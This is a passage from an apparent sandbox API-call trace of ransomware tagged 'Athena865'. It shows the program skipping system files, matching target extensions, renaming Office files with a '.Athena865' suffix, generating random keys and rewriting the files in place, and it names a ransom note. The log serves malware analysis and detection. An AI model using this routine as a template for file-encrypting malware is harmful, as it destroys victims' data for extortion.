lpString2="sqlitedb") returned -1 [0083.349] lstrlenW (lpString="xml") returned 3 [0083.349] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0083.349] lstrlenW (lpString="$er") returned 3 [0083.349] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0083.349] lstrlenW (lpString="4dd") returned 3 [0083.349] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0083.349] lstrlenW (lpString="4dl") returned 3 [0083.349] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0083.349] lstrlenW (lpString="^^^") returned 3 [0083.349] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0083.349] lstrlenW (lpString="abs") returned 3 [0083.349] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0083.349] lstrlenW (lpString="abx") returned 3 [0083.349] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0083.349] lstrlenW (lpString="accdb") returned 5 [0083.349] lstrcmpiW (lpString1="R.DLL", lpString2="accdb") returned 1 [0083.349] lstrlenW (lpString="accdc") returned 5 [0083.349] lstrcmpiW (lpString1="R.DLL", lpString2="accdc") returned 1 [0083.349] lstrlenW (lpString="accde") returned 5 [0083.349] lstrcmpiW (lpString1="R.DLL", lpString2="accde") returned 1 [0083.350] lstrlenW (lpString="accdr") returned 5 [0083.350] lstrcmpiW (lpString1="R.DLL", lpString2="accdr") returned 1 [0083.350] lstrlenW (lpString="accdt") returned 5 [0083.350] lstrcmpiW (lpString1="R.DLL", lpString2="accdt") returned 1 [0083.350] lstrlenW (lpString="accdw") returned 5 [0083.350] lstrcmpiW (lpString1="R.DLL", lpString2="accdw") returned 1 [0083.350] lstrlenW (lpString="accft") returned 5 [0083.350] lstrcmpiW (lpString1="R.DLL", lpString2="accft") returned 1 [0083.350] lstrlenW (lpString="adb") returned 3 [0083.350] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0083.350] lstrlenW (lpString="adb") returned 3 [0083.350] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0083.350] lstrlenW (lpString="ade") returned 3 [0083.350] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0083.350] lstrlenW (lpString="adf") returned 3 [0083.350] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0083.350] lstrlenW (lpString="adn") returned 3 [0083.350] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0083.350] lstrlenW (lpString="adp") returned 3 [0083.350] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0083.350] lstrlenW (lpString="alf") returned 3 [0083.350] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0083.350] lstrlenW (lpString="ask") returned 3 [0083.350] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0083.350] lstrlenW (lpString="btr") returned 3 [0083.350] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0083.350] lstrlenW (lpString="cat") returned 3 [0083.350] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0083.350] lstrlenW (lpString="cdb") returned 3 [0083.350] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0083.350] lstrlenW (lpString="ckp") returned 3 [0083.350] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0083.350] lstrlenW (lpString="cma") returned 3 [0083.350] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0083.351] lstrlenW (lpString="cpd") returned 3 [0083.351] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0083.351] lstrlenW (lpString="dacpac") returned 6 [0083.351] lstrcmpiW (lpString1="ER.DLL", lpString2="dacpac") returned 1 [0083.351] lstrlenW (lpString="dad") returned 3 [0083.351] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0083.351] lstrlenW (lpString="dadiagrams") returned 10 [0083.351] lstrcmpiW (lpString1="ANDLER.DLL", lpString2="dadiagrams") returned -1 [0083.351] lstrlenW (lpString="daschema") returned 8 [0083.351] lstrcmpiW (lpString1="DLER.DLL", lpString2="daschema") returned 1 [0083.351] lstrlenW (lpString="db-journal") returned 10 [0083.351] lstrcmpiW (lpString1="ANDLER.DLL", lpString2="db-journal") returned -1 [0083.351] lstrlenW (lpString="db-shm") returned 6 [0083.351] lstrcmpiW (lpString1="ER.DLL", lpString2="db-shm") returned 1 [0083.351] lstrlenW (lpString="db-wal") returned 6 [0083.351] lstrcmpiW (lpString1="ER.DLL", lpString2="db-wal") returned 1 [0083.351] lstrlenW (lpString="dbc") returned 3 [0083.351] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0083.351] lstrlenW (lpString="dbs") returned 3 [0083.351] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0083.351] lstrlenW (lpString="dbt") returned 3 [0083.351] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0083.351] lstrlenW (lpString="dbv") returned 3 [0083.351] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0083.351] lstrlenW (lpString="dbx") returned 3 [0083.351] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0083.351] lstrlenW (lpString="dcb") returned 3 [0083.351] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0083.351] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0083.351] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0083.351] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0083.352] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0083.352] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0083.352] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0083.352] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0083.352] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0083.352] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0083.352] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0083.352] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0083.352] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0083.352] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0083.352] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0083.352] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0083.352] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PEOPLEDATAHANDLER.DLL.Athena865") returned 74 [0083.352] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PEOPLEDATAHANDLER.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\peopledatahandler.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PEOPLEDATAHANDLER.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\peopledatahandler.dll.athena865"), dwFlags=0x1) returned 1 [0083.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PEOPLEDATAHANDLER.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\peopledatahandler.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0083.364] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=99744) returned 1 [0083.364] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0083.367] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0083.367] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0083.368] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0083.369] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0083.369] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0083.369] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x188a0, lpName=0x0) returned 0x154 [0083.370] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x188a0) returned 0x100000 [0083.375] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0083.375] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0083.375] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0083.375] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0083.375] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0083.376] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0083.376] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0083.376] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0083.376] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0083.376] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0083.376] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0083.376] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0083.376] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0083.376] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0083.377] CloseHandle (hObject=0x154) returned 1 [0083.377] CloseHandle (hObject=0x17c) returned 1 [0083.377] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0083.377] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0083.377] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0083.378] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f9d2900, ftCreationTime.dwHighDateTime=0x1cab9ac, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7f9d2900, ftLastWriteTime.dwHighDateTime=0x1cab9ac, nFileSizeHigh=0x0, nFileSizeLow=0x2e960, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PJCALEND.DLL", cAlternateFileName="")) returned 1 [0083.378] lstrcmpiW (lpString1="PJCALEND.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0083.378] lstrcmpiW (lpString1="PJCALEND.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0083.378] lstrcmpiW (lpString1="PJCALEND.DLL", lpString2=".") returned 1 [0083.378] lstrcmpiW (lpString1="PJCALEND.DLL", lpString2="..") returned 1 [0083.378] lstrcmpiW (lpString1="PJCALEND.DLL", lpString2="windows") returned -1 [0083.378] lstrcmpiW (lpString1="PJCALEND.DLL", lpString2="bootmgr") returned 1 [0083.378] lstrcmpiW (lpString1="PJCALEND.DLL", lpString2="temp") returned -1 [0083.378] lstrcmpiW (lpString1="PJCALEND.DLL", lpString2="pagefile.sys") returned 1 [0083.378] lstrcmpiW (lpString1="PJCALEND.DLL", lpString2="boot") returned 1 [0083.378] lstrcmpiW (lpString1="PJCALEND.DLL", lpString2="ids.txt") returned 1 [0083.378] lstrcmpiW (lpString1="PJCALEND.DLL", lpString2="ntuser.dat") returned 1 [0083.378] lstrcmpiW (lpString1="PJCALEND.DLL", lpString2="perflogs") returned 1 [0083.378] lstrcmpiW (lpString1="PJCALEND.DLL", lpString2="MSBuild") returned 1 [0083.378] lstrlenW (lpString="PJCALEND.DLL") returned 12 [0083.378] lstrcpyW (in: lpString1=0x241e89e, lpString2="PJCALEND.DLL" | out: lpString1="PJCALEND.DLL") returned="PJCALEND.DLL" [0083.378] lstrlenW (lpString="PJCALEND.DLL") returned 12 [0083.378] lstrlenW (lpString="Athena865") returned 9 [0083.378] lstrcmpiW (lpString1="ALEND.DLL", lpString2="Athena865") returned -1 [0083.378] lstrlenW (lpString=".dll") returned 4 [0083.378] lstrcmpiW (lpString1="PJCALEND.DLL", lpString2=".dll") returned 1 [0083.379] lstrlenW (lpString=".lnk") returned 4 [0083.379] lstrcmpiW (lpString1="PJCALEND.DLL", lpString2=".lnk") returned 1 [0083.379] lstrlenW (lpString=".ini") returned 4 [0083.379] lstrcmpiW (lpString1="PJCALEND.DLL", lpString2=".ini") returned 1 [0083.379] lstrlenW (lpString=".sys") returned 4 [0083.379] lstrcmpiW (lpString1="PJCALEND.DLL", lpString2=".sys") returned 1 [0083.379] lstrlenW (lpString="PJCALEND.DLL") returned 12 [0083.379] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PJCALEND.DLL.Athena865") returned 65 [0083.379] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PJCALEND.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\pjcalend.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PJCALEND.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\pjcalend.dll.athena865"), dwFlags=0x1) returned 1 [0083.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PJCALEND.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\pjcalend.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0083.380] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=190816) returned 1 [0083.380] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0083.380] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0083.380] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0083.380] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0083.381] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0083.381] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0083.381] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2ec60, lpName=0x0) returned 0x154 [0083.383] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2ec60) returned 0x170000 [0083.408] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0083.408] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0083.408] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0083.408] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0083.408] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0083.409] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0083.409] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0083.409] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0083.409] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0083.409] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0083.409] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0083.409] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0083.409] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0083.409] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0083.411] CloseHandle (hObject=0x154) returned 1 [0083.411] CloseHandle (hObject=0x17c) returned 1 [0083.411] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0083.411] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0083.411] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0083.412] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4186400, ftCreationTime.dwHighDateTime=0x1cabf1b, ftLastAccessTime.dwLowDateTime=0x5a5a21d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb4186400, ftLastWriteTime.dwHighDateTime=0x1cabf1b, nFileSizeHigh=0x0, nFileSizeLow=0x210368, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="POWERPNT.EXE", cAlternateFileName="")) returned 1 [0083.412] lstrcmpiW (lpString1="POWERPNT.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0083.412] lstrcmpiW (lpString1="POWERPNT.EXE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0083.412] lstrcmpiW (lpString1="POWERPNT.EXE", lpString2=".") returned 1 [0083.412] lstrcmpiW (lpString1="POWERPNT.EXE", lpString2="..") returned 1 [0083.412] lstrcmpiW (lpString1="POWERPNT.EXE", lpString2="windows") returned -1 [0083.412] lstrcmpiW (lpString1="POWERPNT.EXE", lpString2="bootmgr") returned 1 [0083.412] lstrcmpiW (lpString1="POWERPNT.EXE", lpString2="temp") returned -1 [0083.412] lstrcmpiW (lpString1="POWERPNT.EXE", lpString2="pagefile.sys") returned 1 [0083.412] lstrcmpiW (lpString1="POWERPNT.EXE", lpString2="boot") returned 1 [0083.412] lstrcmpiW (lpString1="POWERPNT.EXE", lpString2="ids.txt") returned 1 [0083.412] lstrcmpiW (lpString1="POWERPNT.EXE", lpString2="ntuser.dat") returned 1 [0083.412] lstrcmpiW (lpString1="POWERPNT.EXE", lpString2="perflogs") returned 1 [0083.412] lstrcmpiW (lpString1="POWERPNT.EXE", lpString2="MSBuild") returned 1 [0083.412] lstrlenW (lpString="POWERPNT.EXE") returned 12 [0083.412] lstrcpyW (in: lpString1=0x241e89e, lpString2="POWERPNT.EXE" | out: lpString1="POWERPNT.EXE") returned="POWERPNT.EXE" [0083.412] lstrlenW (lpString="POWERPNT.EXE") returned 12 [0083.413] lstrlenW (lpString="Athena865") returned 9 [0083.413] lstrcmpiW (lpString1="ERPNT.EXE", lpString2="Athena865") returned 1 [0083.413] lstrlenW (lpString=".dll") returned 4 [0083.413] lstrcmpiW (lpString1="POWERPNT.EXE", lpString2=".dll") returned 1 [0083.413] lstrlenW (lpString=".lnk") returned 4 [0083.413] lstrcmpiW (lpString1="POWERPNT.EXE", lpString2=".lnk") returned 1 [0083.413] lstrlenW (lpString=".ini") returned 4 [0083.413] lstrcmpiW (lpString1="POWERPNT.EXE", lpString2=".ini") returned 1 [0083.413] lstrlenW (lpString=".sys") returned 4 [0083.413] lstrcmpiW (lpString1="POWERPNT.EXE", lpString2=".sys") returned 1 [0083.413] lstrlenW (lpString="POWERPNT.EXE") returned 12 [0083.413] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\POWERPNT.EXE.Athena865") returned 65 [0083.413] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\POWERPNT.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\powerpnt.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\POWERPNT.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\powerpnt.exe.athena865"), dwFlags=0x1) returned 1 [0083.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\POWERPNT.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\powerpnt.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0083.414] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2163560) returned 1 [0083.414] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0083.414] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0083.414] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0083.414] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0083.415] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0083.415] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0083.415] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x210670, lpName=0x0) returned 0x154 [0083.418] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x10670) returned 0x100000 [0083.523] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0083.523] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0083.523] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0083.523] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0083.524] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0083.524] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0083.524] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0083.524] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0083.524] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0083.524] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0083.524] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0083.524] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0083.524] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0083.524] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0083.525] CloseHandle (hObject=0x154) returned 1 [0083.525] CloseHandle (hObject=0x17c) returned 1 [0083.525] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0083.525] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0083.525] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0083.534] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88f02f00, ftCreationTime.dwHighDateTime=0x1cabe9f, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88f02f00, ftLastWriteTime.dwHighDateTime=0x1cabe9f, nFileSizeHigh=0x0, nFileSizeLow=0xdb2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="powerpnt.exe.manifest", cAlternateFileName="POWERP~1.MAN")) returned 1 [0083.534] lstrcmpiW (lpString1="powerpnt.exe.manifest", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0083.534] lstrcmpiW (lpString1="powerpnt.exe.manifest", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0083.534] lstrcmpiW (lpString1="powerpnt.exe.manifest", lpString2=".") returned 1 [0083.534] lstrcmpiW (lpString1="powerpnt.exe.manifest", lpString2="..") returned 1 [0083.534] lstrcmpiW (lpString1="powerpnt.exe.manifest", lpString2="windows") returned -1 [0083.534] lstrcmpiW (lpString1="powerpnt.exe.manifest", lpString2="bootmgr") returned 1 [0083.534] lstrcmpiW (lpString1="powerpnt.exe.manifest", lpString2="temp") returned -1 [0083.534] lstrcmpiW (lpString1="powerpnt.exe.manifest", lpString2="pagefile.sys") returned 1 [0083.534] lstrcmpiW (lpString1="powerpnt.exe.manifest", lpString2="boot") returned 1 [0083.534] lstrcmpiW (lpString1="powerpnt.exe.manifest", lpString2="ids.txt") returned 1 [0083.534] lstrcmpiW (lpString1="powerpnt.exe.manifest", lpString2="ntuser.dat") returned 1 [0083.534] lstrcmpiW (lpString1="powerpnt.exe.manifest", lpString2="perflogs") returned 1 [0083.534] lstrcmpiW (lpString1="powerpnt.exe.manifest", lpString2="MSBuild") returned 1 [0083.534] lstrlenW (lpString="powerpnt.exe.manifest") returned 21 [0083.534] lstrcpyW (in: lpString1=0x241e89e, lpString2="powerpnt.exe.manifest" | out: lpString1="powerpnt.exe.manifest") returned="powerpnt.exe.manifest" [0083.534] lstrlenW (lpString="powerpnt.exe.manifest") returned 21 [0083.534] lstrlenW (lpString="Athena865") returned 9 [0083.535] lstrcmpiW (lpString1=".manifest", lpString2="Athena865") returned -1 [0083.535] lstrlenW (lpString=".dll") returned 4 [0083.535] lstrcmpiW (lpString1="powerpnt.exe.manifest", lpString2=".dll") returned 1 [0083.535] lstrlenW (lpString=".lnk") returned 4 [0083.535] lstrcmpiW (lpString1="powerpnt.exe.manifest", lpString2=".lnk") returned 1 [0083.535] lstrlenW (lpString=".ini") returned 4 [0083.535] lstrcmpiW (lpString1="powerpnt.exe.manifest", lpString2=".ini") returned 1 [0083.535] lstrlenW (lpString=".sys") returned 4 [0083.535] lstrcmpiW (lpString1="powerpnt.exe.manifest", lpString2=".sys") returned 1 [0083.535] lstrlenW (lpString="powerpnt.exe.manifest") returned 21 [0083.535] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\powerpnt.exe.manifest.Athena865") returned 74 [0083.535] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\powerpnt.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\powerpnt.exe.manifest"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\powerpnt.exe.manifest.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\powerpnt.exe.manifest.athena865"), dwFlags=0x1) returned 1 [0083.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\powerpnt.exe.manifest.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\powerpnt.exe.manifest.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0083.537] GetFileSizeEx (in: hFile=0x17c, 